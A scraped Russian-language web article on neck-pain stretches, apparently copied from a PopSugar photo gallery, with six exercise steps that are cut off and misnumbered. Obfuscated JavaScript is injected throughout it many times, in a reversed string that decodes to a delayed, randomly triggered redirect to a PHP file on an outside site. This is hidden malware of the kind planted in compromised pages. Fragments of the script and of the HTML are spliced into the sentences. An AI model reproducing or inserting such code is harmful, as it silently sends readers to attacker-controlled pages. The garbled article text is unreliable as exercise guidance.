Лучшие растяжки для снятия боли в шейном отделе

 После горячего душа, чтобы расслабить мышцы, попробуйте несколько этих упражнений для небольшого облегчения.

Если вы спали в неудобном положении или долго смотрели в компьютер, боль в шее не только раздражает, она может вызвать головные боли и боли в $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-8702780″>пояснице. После горячего душа, чтобы расслабить мышцы, попробуйте несколько этих упражнений для небольшого облегчения.

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-8702746″ class=»slide gallery-image layout-square» data-slide-id=»1″ data-slide-nid=»8702746″ data-permalink=»https://www.popsugar.com/fitness/Stretches-Sore-Neck-Pictures-8692689#photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-8702746″ data-twitter-title=»Seated Neck Release» data-title=»Seated Neck Release» data-share-image=»https://media1.popsugar-assets.com/files/thumbor/33LdRo69wFepJz0QOAvD8kIfWa0/fit-in/2048xorig/filters:format_autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-!!-:strip_icc-!!-/2013/08/20/763/n/1922729/26b27f299bae8fb2_basic/i/Seated-Neck-Release.jpg» data-share-facebook-image=»https://media1.popsugar-assets.com/files/thumbor/FoT9CdGN8eQcO7xAEYDhLky8Izg/fit-in/1200×630/filters:format_autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-!!-:strip_icc-!!-:fill-!white!-/2013/08/20/763/n/1922729/26b27f299bae8fb2_basic/i/Seated-Neck-Release.jpg»>
1.Задержись в течение 30 секунд, затем медленно поднимите голову и повторите это растяжение с другой стороны.
$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-8702743″ class=»slide gallery-image layout-square» data-slide-id=»2″ data-slide-nid=»8702743″ data-permalink=»https://www.popsugar.com/fitness/Stretches-Sore-Neck-Pictures-8692689#photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-8702743″ data-twitter-title=»Seated Clasping Neck Stretch» data-title=»Seated Clasping Neck Stretch» data-share-image=»https://media1.popsugar-assets.com/files/thumbor/wJfKUF-sknzFF751V6RG6gSZAeY/fit-in/2048xorig/filters:format_autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-!!-:strip_icc-!!-/2013/08/20/763/n/1922729/a624a729437eba18_clasped-hands/i/Seated-Clasping-Neck-Stretch.jpg» data-share-facebook-image=»https://media1.popsugar-assets.com/files/thumbor/UICGkbS4_l_F4eC4c7Kk6S76-Vg/fit-in/1200×630/filters:format_autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-!!-:strip_icc-!!-:fill-!white!-/2013/08/20/763/n/1922729/a624a729437eba18_clasped-hands/i/Seated-Clasping-Neck-Stretch.jpg»>
2.Используйте свои руки, чтобы сделать глубокий стрейт для задней части шеи и верхней части спины. Держись не менее 30 секунд, а затем медленно поднимите голову и отпустите руки.
$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-8702745″ class=»slide gallery-image layout-square» data-slide-id=»3″ data-slide-nid=»8702745″ data-permalink=»https://www.popsugar.com/fitness/Stretches-Sore-Neck-Pictures-8692689#photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-8702745″ data-twitter-title=»Behind the Back Neck Stretch» data-title=»Behind the Back Neck Stretch» data-share-image=»https://media1.popsugar-assets.com/files/thumbor/-6VGvQgMgWYIDCrdbSu-q7Q0c_k/fit-in/2048xorig/filters:format_autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-!!-:strip_icc-!!-/2013/08/20/763/n/1922729/91ca566fac8d668e_behind-back/i/Behind-Back-Neck-Stretch.jpg» data-share-facebook-image=»https://media1.popsugar-assets.com/files/thumbor/AYL98Fk2jMJQ89vaouycGJtVBC0/fit-in/1200×630/filters:format_autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-!!-:strip_icc-!!-:fill-!white!-/2013/08/20/763/n/1922729/91ca566fac8d668e_behind-back/i/Behind-Back-Neck-Stretch.jpg»>
3.Оставайтесь здесь на 30 секунд, а затем переключайте стороны.
$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-8702742″ class=»slide gallery-image layout-square» data-slide-id=»4″ data-slide-nid=»8702742″ data-permalink=»https://www.popsugar.com/fitness/Stretches-Sore-Neck-Pictures-8692689#photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-8702742″ data-twitter-title=»Grounded Tipover Tuck» data-title=»Grounded Tipover Tuck» data-share-image=»https://media1.popsugar-assets.com/files/thumbor/sf0Drk8QYnxQQcmUTAzQzV9jmZA/fit-in/2048xorig/filters:format_autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-!!-:strip_icc-!!-/2013/08/20/763/n/1922729/b1b5b1ae1eb57195_kneeling-tipover-tuck/i/Grounded-Tipover-Tuck.jpg» data-share-facebook-image=»https://media1.popsugar-assets.com/files/thumbor/kAiRa56YB7gjW7RAxMA-DXggCnk/fit-in/1200×630/filters:format_autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-!!-:strip_icc-!!-:fill-!white!-/2013/08/20/763/n/1922729/b1b5b1ae1eb57195_kneeling-tipover-tuck/i/Grounded-Tipover-Tuck.jpg»>
4Вдохните, чтобы сдвинуть свой вес вперед и снять бедра с пятки. Вытяните руки как можно ближе к полу. Оставайтесь здесь на 10 секунд, а затем опустите бедра назад к пяткам. Оставайтесь здесь на 10 секунд, а затем снова поднимайте бедра. Продолжайте этот цикл пять или более раз, затем опуститесь в позу ребенка с руками на обеих сторонах ног.
$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-8702747″ class=»slide gallery-image layout-square» data-slide-id=»5″ data-slide-nid=»8702747″ data-permalink=»https://www.popsugar.com/fitness/Stretches-Sore-Neck-Pictures-8692689#photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-8702747″ data-twitter-title=»Seated Heart Opener» data-title=»Seated Heart Opener» data-share-image=»https://media1.popsugar-assets.com/files/thumbor/N6CNsDBSQb-iertZXhrCSg3eS18/fit-in/2048xorig/filters:format_autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-!!-:strip_icc-!!-/2013/08/20/763/n/1922729/9b6bb1da24fef03f_seated-heart-opener/i/Seated-Heart-Opener.jpg» data-share-facebook-image=»https://media1.popsugar-assets.com/files/thumbor/GDmgEm00slYF7Np8A5wzzeLgQgw/fit-in/1200×630/filters:format_autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-!!-:strip_icc-!!-:fill-!white!-/2013/08/20/763/n/1922729/9b6bb1da24fef03f_seated-heart-opener/i/Seated-Heart-Opener.jpg»>
530 секунд, затем поднимите голову и туловище.
$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-8702780″ class=»slide gallery-image layout-square» data-slide-id=»6″ data-slide-nid=»8702780″ data-permalink=»https://www.popsugar.com/fitness/Stretches-Sore-Neck-Pictures-8692689#photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-8702780″ data-twitter-title=»Bridge» data-title=»Bridge» data-share-image=»https://media1.popsugar-assets.com/files/thumbor/la6IgVIX7d0otjWsiZviF_qBsuo/fit-in/2048xorig/filters:format_autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-!!-:strip_icc-!!-/2013/08/20/763/n/1922729/df09660bcbf4328d_Bridge/i/Bridge.jpg» data-share-facebook-image=»https://media1.popsugar-assets.com/files/thumbor/qjc_rbEddiDPpfSBy45UauDCGU0/fit-in/1200×630/filters:format_autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-!!-:strip_icc-!!-:fill-!white!-/2013/08/20/763/n/1922729/df09660bcbf4328d_Bridge/i/Bridge.jpg»>
6 Вот классическая поза йоги, которая позволяет вам контролировать, насколько сильно вы растягиваете заднюю часть шеи.
Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector